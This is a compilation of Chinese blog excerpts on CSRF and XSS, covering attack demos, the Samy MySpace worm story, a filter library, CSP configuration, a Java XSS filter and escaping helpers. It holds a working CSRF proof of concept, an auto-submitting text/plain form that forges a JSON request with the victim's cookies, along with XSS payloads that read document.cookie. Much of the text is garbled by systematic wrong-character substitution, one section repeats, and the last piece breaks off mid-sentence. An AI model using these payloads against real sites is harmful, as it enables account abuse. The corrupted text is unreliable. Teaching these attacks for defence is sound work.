一、csrf简介Cross-site request forgery，跨站申请伪造，通常缩写为CSRF或者XSRF。 上面get和post申请攻打的前提都是假如网站A存在csrf破绽以及用户已登录网站A。 二、csrf之get申请攻打发动get申请攻打比较简单，只需通过img标签即可。 因为受同源策略限度，不能通过ajax来发动get申请。 Demo验证代码： // src的值就是网站A下的get申请<head> <meta charset="utf-8"> <title>csrf之get申请攻打</title></head><body> <img src="http://xxx"></body>成果：用户关上攻击者网站B，主动发动get申请，状态码是200示意胜利： 通过抓包具体查看，申请带上了cookie登录态，响应也是失常的： 三、csrf之post申请攻打相比之下，get申请的危害没有post申请挫伤大，但想要发动post申请攻打，就没那么容易实现。 首先咱们晓得，在网站B是不能通过ajax发动网站A的post申请的，因为同源策略限度了。但须要留神的是，同源策略只是限度了XMLHttpRequest和Fetch API，但html的form标签则不受同源策略限度。同样，下面get申请的img标签也不受同源策略。 失常form表单验证代码： <head> <meta charset="utf-8"> <title>csrf-post</title></head><body> <form id="form" action="http://xxx" method="POST" target="iframe1"> <input type="text" name="id" value="70"> <input type="text" name="biz_module_id" value="[15]"> <input type="text" name="deploy_path" value=""> <input type="text" name="description" value="test"> <input type="text" name="name" value="config.txt"> <input type="text" name="version" value="1"> </form> <iframe name="iframe1"></iframe> <script> document.getElementById('form').submit() </script></body>成果： 论断：很显著申请是不胜利的。但能把网站A的登录态带过来，所以算是胜利了一部分。比照网站A下的post申请，发现数据格式不一样。上图的是Form Data，网站A的是Request Payload，如下图所示： 剖析：form申请的数据格式跟enctype属性有关系，默认的是application/x-www-form-urlencoded，此时就是Form Data。编码类型总共三种(参考)，还有两种是：multipart/form-data和text/plain。前者是上传文件用的，后者用的比拟少。但正是通过text/plain来将数据格式改为Request Payload。 text/plain的form表单再次验证代码： // 在下面的代码的根底上，把form标签新增enctype属性即可<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">成果： 论断：胜利将数据格式改为Request Payload了，但为啥接口仍然报错？再认真比照下网站A的失常申请，可发现网站A那边是JSON格局，但咱们这边不是JSON，就是纯文本加换行的一个格局，这样必定不会胜利的。 剖析：那有什么好方法？只能持续对form表单的参数进行深刻开掘了。form表单的参数就是input标签等的name和value组成的一些列参数，那可否只用一个input来把所有参数都拼接起来？ 通过屡次验证，是能够拼接的。 再次验证form的参数代码： // 在下面的代码的根底上，把input改为如下所示：<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain"> <input type="text" name='{"id":70,"biz_module_id":[15],"deploy_path":"","description":"test","name":"config.txt","version":"' value='123"}"'></form>成果： 论断：胜利了！ 补充阐明1 数据格式如果不是Request payload，而是Form Data，则可间接用form表单来发申请，不必再减少下面2和3的办法。一、csrf简介Cross-site request forgery，跨站申请伪造，通常缩写为CSRF或者XSRF。 上面get和post申请攻打的前提都是假如网站A存在csrf破绽以及用户已登录网站A。 二、csrf之get申请攻打发动get申请攻打比较简单，只需通过img标签即可。 因为受同源策略限度，不能通过ajax来发动get申请。1. Demo验证代码： // src的值就是网站A下的get申请<head> <meta charset="utf-8"> <title>csrf之get申请攻打</title></head><body> <img src="http://xxx"></body>成果：用户关上攻击者网站B，主动发动get申请，状态码是200示意胜利： 通过抓包具体查看，申请带上了cookie登录态，响应也是失常的： 三、csrf之post申请攻打相比之下，get申请的危害没有post申请挫伤大，但想要发动post申请攻打，就没那么容易实现。 首先咱们晓得，在网站B是不能通过ajax发动网站A的post申请的，因为同源策略限度了。但须要留神的是，同源策略只是限度了XMLHttpRequest和Fetch API，但html的form标签则不受同源策略限度。同样，下面get申请的img标签也不受同源策略。 ...

萨米不想成为每个人的英雄。他甚至都不想要新敌人。 然而因为几行奇妙的代码，在不到一天的工夫内，他成为了过后最风行的在线社交网络上超过一百万人的“英雄”和“敌人”，我的空间。 大概在2005年10月4日午夜，在洛杉矶，过后19岁的黑客Samy Kamkar开释了起初被称为“ Samy蠕虫”的病毒，它可能是传播速度最快的计算机病毒。一次，这种病毒永远扭转了网络安全的世界。 Kamkar于16岁高中毕业，并在17岁时创建了一家名为Fonality的软件守业公司。他说，他只是想感动他的技术敌人，仅此而已。一切都在一周前开始，坎卡尔通知我。过后，MySpace为用户提供了许多自定义配置文件的自在，从而容许应用HTML代码，这导致了色调丰盛，而且查看配置文件通常很麻烦。 “一旦我可能做到这一点，我意识到我实际上能够在页面上做任何事件。” 然而，并非MySpace上的所有内容都是齐全可定制的。例如，用户只能上传12张照片。有方法解决吗？Kamkar他开始到处游荡，试图看看他是否能够坑骗MySpace做网站不应该让用户做的事件。他很快找到了办法并上传了13张照片。 当波及到“关系”字段时，用户也只有多数抉择。有一个带有规范选项的下拉菜单：已婚，独身，恋爱中，还有其余几个选项。过后有个女朋友的坎卡尔（Kamkar）心愿可能抉择“亲密关系”。随着更多的黑客入侵，他也这样做了。 “当我可能做到这一点时，我意识到我实际上能够在页面上做任何事件，”他通知母板，回忆起那个重要的夜晚。 SAMY KAMKAR在洛杉矶家中的计算机上工作。图片：主板 在接下来的一周中，Kamkar编写了一个脚本，该脚本对于任何其余用户都是不可见的，并将迫使所有拜访他的个人资料的人将他增加为敌人。该脚本还将在该人的个人资料的“我的英雄”类别下增加一行：“但最重要的是，萨米是我的英雄。” Kamkar意识到，如果脚本只对页面的访问者无效，那么他将涉及的人很少，因而，他对脚本进行了编程，使其也能够复制到访问者本人的个人资料上。 那时，他制作了一种自流传蠕虫。 他通知我：“我认为一个月内我会失去100或200个敌人。” “其中有些人会埋怨，我将其删除，仅此而已。没什么大不了的。” 第二天早上，他醒来，有200个敌人申请。那是他“吓坏了”的时候，因为蠕虫的传播速度比他设想的要快。一小时后，申请数量减少了一倍，而后呈指数级增长。那时，卡姆卡说他以匿名形式向MySpace发送电子邮件，揭示他们该蠕虫以及一种阻止蠕虫的办法，但他没有回音，直到明天，他依然“不晓得”是否有人真正看到了该电子邮件。 到下午1:30，他曾经积攒了超过2500个敌人，并收到了6,000多个申请。 坎卡尔在当晚发表的博客文章中写道：“这曾经失控了。人们向我发消息说，因为我的名字被列入了他们的'英雄'名单，他们曾经举报我为'黑客'。” 产生了 “显然，人们之所以怄气，是因为他们从敌人列表中删除了我，查看了其他人的页面甚至本人的页面，并立刻被我再次感化。我统治。” 他补充说：“我心愿没人起诉我。” 几个小时后，Kamkar在Chipotle买了墨西哥卷饼，而后回家再次查看他的MySpace个人资料。那时他有近一百万个敌人的申请。 KAMKAR的MYSPACE个人资料的屏幕截图，摄于2005年10月5日。图片：SAMY KAMKAR 他在博客中写道：“这是官网的。我很受欢迎。” 在MySpace解体之前的几分钟，这个数字攀升至超过一百万。该公司必须使站点脱机以查明产生了什么并革除蠕虫。 坎卡尔通知我：“我感到十分蹩脚。我真的很惆怅。” 然而那时他什么也做不了-一旦开释了蠕虫，就曾经太迟了，因为蠕虫会自行流传。大概两个小时后，该站点恢复正常。他的个人资料已被删除。 KAMKAR在2010年于拉斯维加斯举办的BLACK HAT平安会议上发表演讲。 事件产生几个月后，Myal负责平安总监，库纳尔·阿南德（Kunal Anand）说，在萨米蠕虫病毒袭击时，该公司“简直没有平安团队”，并且“不晓得该怎么办”。 没有人能看到像Samy的蠕虫一样的货色。这是一个“行业分水岭的时刻，” Anand通知我。 网络安全专家，WhiteHat Security公司的创始人Jeremiah Grossman说，Samy蠕虫是“该行业中的每个专家都在期待的时刻之一”。 Kamkar的蠕虫只管迅速流传，但最终还是有害的：所做的只是与他成为敌人，并在感染者的个人资料上加上了几句话。然而，如果卡姆卡已经是罪犯，或者怀有更刁滑的用意，那么他本能够接管他们的账目。正如格罗斯曼（Grossman）所说，坎卡尔（Kamkar）“有能力去做他想做的任何事件”。 年老的黑客应用的技术称为跨站点脚本攻打，通常缩写为XSS，攻击者将恶意代码注入网站，诱骗该站点以及用户的浏览器来执行代码。据格罗斯曼称，理解网络安全的人们都晓得，能够像坎卡一样攻打大多数站点，然而直到Samy蠕虫之前，没有人认真对待这一威逼。 “（萨米）永远扭转了这个行业。” 格罗斯曼在电话中通知我：“过后，这是一种十分令人赞叹的破绽。咱们晓得每个站点都存在该破绽，但没有人真正展现出您能够应用该破绽做什么。” “萨米做到了，他永远扭转了这个行业。” Grossman认为，在产生Samy蠕虫时，80％到90％的网站容易受到相似攻打。这个问题引起了人们的极大关注，以至于Open Web Application Security Project致力于为站点创立API，以使用户能够应用其页面上的代码而不会裸露于XSS破绽（它们称为AntiSamy Project）。 依据WhiteHat的平安机构2015年收集的数据，十年后，只有47％的网站可能具备雷同的破绽。如果没有Kamkar蠕虫引起的留神，兴许这依然是一个更广泛的问题。 在将来的几年中，网站和浏览器将加强其针对跨站点脚本攻打的安全性，然而依然存在一些值得注意的攻打。例如，在2013年，因为相似的破绽，几个Yahoo用户的电子邮件帐户被劫持。去年，黑客在Tweetdeck中发现了一个XSS谬误，使他们可能强制厌恶的弹出窗口。往年早些时候，因为XSS破绽，能够用一个正文来接管WordPress博客。 只管他的用意是有害的，并且他发表的博客文章解释了为什么他发射了Samy蠕虫，但Kamkar最终还是在法律上遇到了麻烦。 在他开释蠕虫病毒六个月后，特勤局和LAPD的电子立功工作组一起取得了搜查他的公寓和办公室的命令。当局查封了他的笔记本电脑，三台台式计算机和其余电子设备，例如硬盘。依据加利福尼亚州的刑法，洛杉矶地区检察官正在追捕他，指控他犯有计算机犯罪，特地是用病毒感染计算机系统。 坎卡尔回顾说：“这有点吓人。” “我什至没有高中文凭，所以我真的很放心他们是否试图从我身边夺走计算机。计算机是我惟一的货色。” “计算机是我惟一领有的货色。” 整整一年，卡姆卡尔的律师和检察官来回走访，切磋辩诉交易。Kamkar从未被捕，最终认罪，被判处三年缓刑，简直没有计算机拜访权限。坎卡尔说，他只容许应用一台在当局注册的计算机，而不能拜访互联网。 他依然可能在公司的起步阶段负责治理职务，甚至还被邀请加入无关蠕虫的会议和演讲。在2007年，他在OWASP＆WASC AppSec会议上遇到了格罗斯曼，格罗斯曼和他的敌人罗伯特·汉森（Robert Hansen）在那儿呈现了定制的T恤，下面写着“萨米是我的英雄”。（相似的衬衫依然能够在线购买。） Grossman通知我，因为他在网络安全畛域的影响，Kamkar加入相似流动时无需领取任何费用。 他说：“咱们在一起10年后，我认为他不用为喝酒付费。” 蠕虫感化三年后，2008年，卡姆卡尔（Kamkar）回到法院，并解除了缓刑。坎卡尔回顾说，他所做的第一件事是返回圣莫尼卡苹果商店并购买笔记本电脑。而后，他去了最近的星巴克，将其关上并连贯到互联网。 然而离线三年后，“我什至都不晓得要去哪里，”他说。因而，他拜访了几个网站，而不是MySpace，他笑着说，他们花了十分钟在互联网上，而后去看了一些敌人。 Kakmar说，在Samy蠕虫之前，他“十分外向和害羞”，因而“来到计算机的三年实际上对我来说真的很无益，对于始终始终应用计算机的人来说，它使我能够做其余事件。” 然而，一旦回到网上，Kamkar就有了一些能够破解的新货色和一些新技术的想法。他在2010年在拉斯维加斯驰名的黑客大会DEF CON 上的首次演讲中展现了其中的一些产品。 从那以后，他来到了本人的守业公司，并进行黑客入侵，揭发Google，Apple和Microsoft如何跟踪客户，以及创立主动劫持无人机，解锁汽车和车库门的设施，所有这些都是以促使公司进入更重视安全性并爱护客户。他的杰出体现，以及即便使在行人士也能轻松实现黑客和信息安全的天才窍门，使他在黑客社区中妇孺皆知。 明天，如果他能回到过来，Kamkar说他可能不会开释该蠕虫，只管远离计算机三年是一种踊跃的经验，而蠕虫是他成名的号召。 然而，因为Samy蠕虫，互联网的情况可能会更好。因而，从某种意义上说，萨米可能依然是英雄。 原文：https://www.vice.com/en_us/ar...

一、概述Cross-site scripting，简称XSS，跨站脚本攻打。XSS是一种网站应用程序的安全漏洞攻打，是代码注入的一种。它容许歹意用户将代码注入到网页上，其余用户在浏览网页的时候，就会受到影响。 二、反射型XSS - Reflected XSS用户在页面的输出，通过http申请发送到服务端，服务端解决后，把用户输出原封不到返回到浏览器，浏览器也没做解决间接把用户输出显示到页面种。 1 示例：代码 // 服务端(koa2)router.get('/search', async (ctx, next) => { let req = ctx.request ctx.state = { title: 'xss', word: req.query.word } ctx.body = req.query.word ? req.query.word : ''})成果： 但当在URL输出<script>alert('xss')</script>的时候，就被攻打了。 个别多产生在服务端渲染(如下面的示例)以及浏览器端通过js间接渲染到页面($('#search').html(res.data))的状况 三、存储型XSS - Stored XSS相比反射型，存储型则是把用户输出存储起来了。可想而知影响范畴大很多。 这里就不演示了，有趣味可看看驰名的萨米XSS蠕虫攻打（[[译]永恒扭转互联网的MySpace蠕虫](http://yanchengxiang.com/?p=433)）。 该蠕虫用JavaScript实现，利用贮存型XSS破绽流传。它在每个被感化的用户页面显示一行字串“but most of all, samy is my hero”，并将本人复制在该用户页面。当新的用户点击被感化的用户页面时，就会触发该程序在用户的浏览器中运行，导致蠕虫进一步流传，在该新用户主页上再度复制。在短短20小时内，从2005年10月4日公布起，超过一百万的用户都运行了该程序。这让该作者的账户在该社交网络上的关注量指数级增长，并让萨米蠕虫成为历史上传播速度最快的计算机病毒。四、基于DOM的XSS - DOM Based XSS反射型和存储型都必须通过服务端，但基于DOM的XSS则不必，间接在浏览器端攻打。 1 示例：代码 <head> <meta charset="utf-8"> <title>dom based xss</title></head><body> <script> document.write("正在拜访的网站是: " + decodeURIComponent(location.href)); </script></body>成果： 但当在URL输出#<script>alert('xss')</script>的时候，就被攻打了。 这种就是间接在浏览器端发动的攻打，没通过服务端。

在前端开发中总是认为本人实现了业务代码满足了用户需要，却不知web存在的许多安全隐患，如各种的注入攻打，xss跨站脚本攻打，跨域申请伪造，以及之前提到的不平安的http，其余等等。自己写了一个对于注入攻打能够过滤注入敏感关键字的库xssfilter-js，如果感觉好的能够start，也心愿您能参加奉献 injectFilter.js注入攻打过滤器(兼容IE)-实现过滤文本或DOM元素中的敏感关键字避免XSS、命令注入、sql注入攻打 大小：4KB NPM 地址：https://www.npmjs.com/package... Github ：https://github.com/booms21/in... Docs文档:装置：npm install xssfilter-jsoptions 配置项://创立一个InjectFilter对象，可传入options配置对象var inf = new InjectFilter(options);options.tokens = 可增加额定的自定义过滤字符，对象类型键值对{'须要替换的指标字符':'字符1'} key为须要替换的字符，value为想要将指标字符替换成的字符。options.xss = true; 默认为true。 需为布尔值，是否启用过滤xss注入options.command = true;默认为true。 需为布尔值，是否启用过滤command(命令注入)options.sql = true;默认为true。 需为布尔值，是否启用过滤sql注入注：命令和sql将过滤成对应的‘全角’文本(如ｓｅｌｅｃｔ　、ｄｅｌｅｔｅ　ｆｒｏｍ、ｐｉｎｇ )Demo：<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="injectFilter.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.js"></script></head><body> <div id='aa' onclick="javascript:alert('hello world')">) or 1=1</div></body><script> var inf = new InjectFilter({tokens:{'or':'|||'}}); $('#aa').html(inf.filter(document.getElementById('aa')))</script></html>ES6: import injectFilter from './injectFilter';

避免xss 99%的都晓得要做标签过滤，和标签属性过滤，50%晓得非标签内容本义，40%晓得httponly，10%的人晓得 waf，只有1%的人晓得它。周末尝试用跑路技巧来强行引出 CSP ，故事有点牵强，本想大家都一起留言说如何解决这种 self-xss 的问题，然而成果不是很好，这里我本人回应下吧~~ 对于这种”固执型“存储内容，存在更高权限的用户编辑其他人低权限用户的内容的状况。上面这个计划应该能在肯定水平上解决问题。 当然 csp 和 httponly 的指定也都是服务端输入的。waf 是一层能够帮忙咱们拦挡掉一些攻打代码的网络防火墙，属于云产品领域，大家能够自行搜寻相干云产品。 明天次要和大家分享学习下 CSP （Content Security Policy）的常识，CSP 里定义的内容有很多，不仅能够避免被 XSS 还有被 iframe 或者 iframe 援用等 如果咱们提供的是一个存储型的服务，比方博客。案例 http://mengkang.net/demo/csp/... <html><header> <title></title></header><body><div id="blog"> <script> alert(document.cookie); </script></div></body></html>也就是说"#blog"外面的内容是不可信的，一方面要做好展现时的过滤，如果咱们没做好过滤，下面的 js 就会执行；另一方面，咱们也不能随便批改用户的内容，所以即便展现时过滤了，而原始内容不能批改，当编辑用户的内容时，仍然会触发xss，也就是self-xss，这次要攻打的就是有编辑其他人内容的人。 CSP 次要是为了解决跨站脚本攻打和数据注入攻打，它的外围原理是在服务端渲染页面的时候 http header 头里带上 CSP 协定，协定外面有一个nonce（服务端随机生成的码，不须要存储），而后页面须要执行的 js 必须也必须带上该nonce。 拦挡攻打案例 http://mengkang.net/demo/csp/... <?php$nonce = md5(uniqid());$policy = "script-src 'nonce-" . $nonce . "';";header("content-security-policy:". $policy);?><html><header> <title></title></header><body><div id="blog"> <script> alert(document.cookie); </script></div></body></html>这样，用户写的博客外面的 js 就不会被执行了。并且管制台上会有报错记录 Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-be6737d35f2c558943dae9ad44c369ee'". Either the 'unsafe-inline' keyword, a hash ('sha256-0FWdMKk2PWuytGHwpB/r+HwqVTWZoSWX/M+OKSueWHI='), or a nonce ('nonce-...') is required to enable inline execution.然而如果页面有一些咱们本人开发的 js 要执行怎么办？ ...

背景前阵子做了几个我的项目，终于开发结束，进入了测试阶段，信念满满将我的项目部署到测试环境，而后做了平安测评之后.....                  (什么！你居然说我代码不平安？？？) 而后测出了Xss破绽平安的问题 解决方案场景：能够在页面输入框输出JS脚本，攻击者能够利用此破绽执行歹意的代码！ 问题演示 所以咱们要对于前端传输的参数做解决，做对立全局过滤解决 既然要过滤解决，咱们首先须要实现一个自定义过滤器 总共蕴含以下四局部 XssUtilXssFilterAutoConfig XssHttpServletRequestWrapper XssStringfJsonDeserializer 最初咱们须要在全局过滤器中应用咱们实现的Xss自定义过滤器 代码实现XssFilterAtuoConfig实现代码 import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.module.SimpleModule;import net.greatsoft.overallbudget.filter.SimpleCORSFilter;import org.springframework.boot.context.embedded.FilterRegistrationBean;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.context.annotation.Primary;import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder;import org.springframework.http.converter.json.MappingJackson2HttpMessageConverter;/** * Created by wjy on 2020/11/5. * xss 主动配置类 */@Configurationpublic class XssFilterAtuoConfig { /** * 注册自定义过滤器 * @return */ @Bean public FilterRegistrationBean xssFiltrRegister() { FilterRegistrationBean registration = new FilterRegistrationBean(); //设置零碎过滤器 (setFilter就是你所定义的过滤器filter类) registration.setFilter(new SimpleCORSFilter()); //过滤所有门路 registration.addUrlPatterns("/*"); //过滤器名称 registration.setName("XssFilter"); //优先级 registration.setOrder(1); return registration; } /** * 过滤JSON数据 * @return */ @Bean @Primary public MappingJackson2HttpMessageConverter mappingJackson2HttpMessageConverter() { SimpleModule module = new SimpleModule(); //自定义序列化过滤配置(XssStringJsonDeserializer), 对入参进行转译 module.addDeserializer(String.class, new XssStringJsonDeserializer()); // 注册解析器 ObjectMapper objectMapper = Jackson2ObjectMapperBuilder.json().build(); objectMapper.registerModule(module); return new MappingJackson2HttpMessageConverter(objectMapper); }} ...

在此记录XSS的相干常识 XSS的具体介绍能够查看 XSS跨站脚本攻打与进攻// 对用户输出的内容进行转码/*1.用浏览器外部转换器实现html转码*/export function htmlEncode (html){ // 1.首先动态创建一个容器标签元素，如DIV let temp = document.createElement ("div"); // 2.而后将要转换的字符串设置为这个元素的innerText(ie反对)或者textContent(火狐，google反对) (temp.textContent !== undefined ) ? (temp.textContent = html) : (temp.innerText = html); // 3.最初返回这个元素的innerHTML，即失去通过HTML编码转换的字符串了 const output = temp.innerHTML; temp = null; return output;}/*2.用浏览器外部转换器实现html解码*/export function htmlDecode (text){ // 1.首先动态创建一个容器标签元素，如DIV let temp = document.createElement("div"); // 2.而后将要转换的字符串设置为这个元素的innerHTML(ie，火狐，google都反对) temp.innerHTML = text; // 3.最初返回这个元素的innerText(ie反对)或者textContent(火狐，google反对)，即失去通过HTML解码的字符串了。 const output = temp.innerText || temp.textContent; temp = null; return output;}

字符串进行本义，避免xss攻打对于更多日常应用的公共类的操作方法，能够关注下小滑轮网站 /** *. 本义html(防XSS攻打) *. @param str 字符串 */function escapeHTML (str) { return str.replace( /[&<>'"]/g, tag => ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', "'": '&#39;', '"': '&quot;' }[tag] || tag) );}咱们小滑轮网站上还有其余字符串的工具函数 去除空格字符大小写转换下划线格局字符串转为驼峰格局驼峰格局字符串转为下划线格局能够去看看，心愿对你的开发有帮忙～

Content Security Policy（内容安全策略，简称csp）用于检测并阻止网页加载非法资源的安全策略，能够加重xss攻打带来的危害和数据注入等攻打。本文讲述的内容次要有如何应用csp和业务接入csp流程这两局部。 简介csp次要工作是定义一套页面资源加载白名单规定，浏览器应用csp规定去匹配所有资源，禁止加载不合乎规定的资源，同时将非法资源申请进行上报。 csp作用：加重网页被xss攻打后所受到的危害。实际上csp是在xss攻打产生后才起作用，阻止申请注入的非法资源，csp并不是间接阻止xss攻打的产生。 应用形式csp次要有两种应用形式，别离是设置响应头Content-Security-Policy和应用meta标签。 响应头在网页html申请的响应头中进行定义，定义形式： Content-Security-Policy: 指令1 指令值1 指令值2; 指令2 指令值1;例子： Content-Security-Policy: srcipt-src 'self' *.test.com'; img-src: https: data:;前面会重点解说csp中具体存在哪些指令和指令值，能够在定义规定中看到具体的介绍。 meta在网页html文件中进行定义，定义形式： <meta http-equiv="Content-Security-Policy" content="指令1 指令值1 指令值2; 指令2 指令值1;">例子： <html> <head> <meta http-equiv="Content-Security-Policy" content="srcipt-src 'self' *.test.com'; img-src: https: data:;" > </head> <body>...</body></html>留神：因为html文档是从上至下进行解析，因而，meta尽量写在最后面，保障可能对所有资源申请进行束缚。成果csp规定匹配到的资源都可能失常申请，一旦有非法资源申请，浏览器就会立刻阻止，阻止的成果如下 定义规定csp规定内容次要由指令和指令值这两局部形成，指令用于定义资源类型，指令值用于定义资源申请地址规定。 例子： Content-Security-Policy: srcipt-src 'self' *.test.com';下面csp规定中，script-src是脚本资源加载指令，'self'和*.test.com是指令值，当加载js脚本的时候，只有满足指令值定义的规定能力失常加载。 指令指令阐明示例default-src定义所有类型资源默认加载策略，当上面这些指令未被定义的时候，浏览器会应用default-src定义的规定进行校验'self' *.test.comscript-src定义JavaScript资源加载策略'self' js.test.comstyle-src定义款式文件的加载策略'self' css.test.comimg-src定义图片文件的加载策略'self' img.test.comfont-src定义字体文件的加载策略'self' font.test.comconnect-src定义XHR、WebSocket等申请的加载策略，当申请不合乎定义的规定时，浏览器会模仿一个响应状态码为400的响应'self'object-src定义<object> <embed> <applet>等标签的加载策略'self'media-src定义<audio> <video>等多媒体html标签资源加载策略'self'frame-src【已废除】定义iframe标签资源加载策略（新指令：child-src）'self'sandbox对申请的资源启用sandbox，相似于iframe中的sandbox性能allow-scriptsreport-uri定义上报地址。当有资源被拦挡的时候，浏览器带着被拦挡的资源信息申请这个uri。（只在响应头中定义能力失效）https://csp.test.com/reportchild-src【csp2】定义子窗口（iframe、弹窗等）的加载策略'self' *.test.comform-action【csp2】定义表单提交的源规定'self'frame-ancestors【csp2】定义以后页面能够被哪些页面应用ifram、object进行加载'self'plugin-types【csp2】定义页面容许加载哪些插件 指令值指令值阐明示例*所有内容都失常加载img-src *;'none'不容许加载任何资源img-src 'none';'self'容许加载同源资源img-src 'self';'unsafe-inline'容许加载inline内容（例如：style、onclick、inline js、inline css等）srcript-url 'unsafe-inline';'unsafe-eval'容许加载动静js代码（例如：eval()）script-src 'unsafe-eval';http:容许加载http协定资源img-src http:;https:容许加载https协定资源img-src https:;data:容许应用data协定（css中加载base64图片应用的就是data协定）img-src data:;域名容许加载该域名下所有https协定资源img-src test.com;门路容许加载该门路下所有https协定资源img-src test.com/img/;通配符*.test.com容许加载子域名下所有https协定的资源（任意子域名）；*://*.test.com:*这个匹配逻辑原意是任意协定、任意子域名、任意端口，但在理论测试过程中发现这个指令值没有任何作用img-src *.test.com;理论业务开发后面咱们理解了csp根本用法，接下来讲述下业务接入csp流程。因为浏览器会禁止加载违反csp规定的资源，因而，咱们须要对csp进行一系列验证后，能力正式上线，上面将带着大家一步一步的实现业务csp规定的部署。 ...

XSS（Cross Site Scripting）跨站点脚本是一种代码注入攻打，攻击者利用Web站点的代码破绽，在用户拜访的网页时运行植入的歹意JS脚本，从而影响用户拜访或窃取用户信息。 XSS分类依据歹意脚本的触发形式，XSS攻打可分成三种模式，别离是反射型，存储型和DOM型。 反射型XSS：客户端的提交的内容中带XSS脚本，服务器端处理不当，间接在页面上输入内容，导致恶意代码被执行。例如：歹意用户在页面中的文本框中输出脚本代码，表单提交后，服务器程序未对文本框数据进行本义解决，间接打印到页面上，页面返回到客户端展现时，触发脚本执行。存储型XSS：攻击者向零碎中注入恶意代码，恶意代码在数据库中保留，用户拜访从数据库中读取的内容生成的页面时，触发恶意代码执行。例如：歹意用户在论坛发帖内容中蕴含脚本代码，发帖内容提交后保留到服务器数据库中，当其余用户浏览此帖子时，从数据库中读取帖子内容展现，帖子内容触发脚本在浏览器中执行。DOM型XSS：反射型XSS相似，区别在于带恶意代码的数据不通过服务器端解决，间接由客户端JS脚本解决（DOM树操作）时，触发恶意代码执行。例如：歹意用户在URL参数中植入脚本，用户点击URL在浏览器关上后，JS读取有脚本的参数，未做适当解决，触发脚本执行。DOM型XSS在不须要和服务器交互状况下，客户端JS脚本能够在浏览器中间接查找、操作（增删改）DOM模型的元素。同时也能读取用户在浏览器的输出，如URL对象、location对象，并提取相干的参数。如果用户输出的内容总蕴含歹意脚本，而程序没有进行无效的解决和过滤（如把传输数据间接交给eval执行），就会导致DOM型XSS攻打。 攻打示例网页代码以下示例代码中，JS代码从浏览器URL中读取param参数，未经校验和解决，间接写入document中，如果参数内容中夹带可执行的JS脚本块，脚本就会间接执行。 <!--dom_xss_sample.html--><!DOCTYPE html><html><head> <title>DOM XSS</title></head><body> <p>DOM XSS攻打示例</p></body><script> var pos=document.URL.indexOf("param=") + 6; document.write(decodeURI(document.URL.substring(pos,document.URL.length)));</script></html>运行成果在URL中，减少param=<script>alert(0)</script>参数，参数内容通过document.write间接写入到页面中。 参数中的脚本代码块间接执行，触发XSS攻打。 除了间接在参数中带不言而喻的脚本外，在其余标签中夹杂可执行的事件也是常见形式，如在img标签的onerror事件中执行脚本。示例如下：param=<img src="null" onerror="alert('1')" />从以上示例中能够看出，造成DOM型XSS破绽攻打，次要有两个过程： 在输出的数据源中夹带了歹意脚本程序未对输出进行必要的解决，导致歹意脚本执行其中，输出除了上述document.URL，还包含如下数据源： document.URLdocument.URLUnencodeddocument.locationdocument.referrerwindow.locationlocationlocation.hreflocation.searchlocation.hashlocation.pathname对输出的解决，除了上述document.write，还包含如下办法： 间接执行脚本类eval(…)window.execScript(…)window.setInterval(…)window.setTimeout(…)写HTML页面类document.write(…)document.writeln(…)element.innerHTML(…)间接批改DOM类document.forms[0].action=…document.attachEvent(…)document.create…(…)document.execCommand(…)document.body. …window.attachEvent(…)替换文档URL类document.location=…document.location.hostname=…document.location.replace(…)document.location.assign(…)document.URL=…window.navigate(…)关上/批改窗口类document.open(…)window.open(…)window.location.href=… (and assigning to location’s href, host and hostname)更多的DOM型XSS攻打办法，可参考如下文档 DOM Based Cross Site Scripting or XSS of the Third Kind 进攻办法对于DOM型XSS的攻打，OWASP组织提供了7条RULE和10条GUIDELINE，此处不再累赘，请参考官网原文DOM based XSS Prevention Cheat Sheet

XSS XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。 跨站脚本攻击有可能造成以下影响: 利用虚假输入表单骗取用户个人信息。利用脚本窃取用户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。显示伪造的文章或图片。XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中 Web 里面的脚本代码会被执行，从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。 XSS 的攻击方式千变万化，但还是可以大致细分为几种类型。 存储型XSS：注入型脚本永久存储在目标服务器上。当浏览器请求数据时，脚本从服务器上传回并执行。反射型XSS： 当用户点击一个恶意链接，或者提交一个表单，或者进入一个恶意网站时，注入脚本进入被攻击者的网站。Web服务器将注入脚本，比如一个错误信息，搜索结果等 返回到用户的浏览器上。浏览器会执行这段脚本，因为，它认为这个响应来自可信任的服务器。基于DOM的XSS：被执行的恶意脚本会修改页面脚本结构XSS最终是要以“输出编码”来完成攻击的，我们将“输出编码”的攻击方法总结为以下几种 在 HTML 标签中输出变量；在 HTML 属性中输出变量；在 script 标签中输出变量；在事件中输出变量；在 CSS 中输出变量；在 URL 中输出变量。表现为： 在 HTML 中内嵌的文本中，恶意内容以 script 标签形成注入。在内联的 JavaScript 中，拼接的数据突破了原本的限制（字符串，变量，方法名等）。在标签属性中，恶意内容包含引号，从而突破属性值的限制，注入其他属性或者标签。在标签的 href、src 等属性中，包含 javascript: 等可执行代码。在 onload、onerror、onclick 等事件中，注入不受控制代码。在 style 属性和标签中，包含类似 background-image:url("javascript:..."); 的代码（新版本浏览器已经可以防范）。在 style 属性和标签中，包含类似 expression(...) 的 CSS 表达式代码（新版本浏览器已经可以防范）。在url参数上（下面有例子）反射型 XSS 特征： 攻击者可以直接通过 URL (类似：https://xxx.com/xxx?default=<script>alert(document.cookie)</script></script>)) 注入可执行的脚本代码。不过一些浏览器如Chrome其内置了一些XSS过滤器，可以防止大部分反射型XSS攻击。 措施 Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。尽量不要从 URL，document.referrer，document.forms 等这种 DOM API 中获取数据直接渲染。尽量不要使用 eval, new 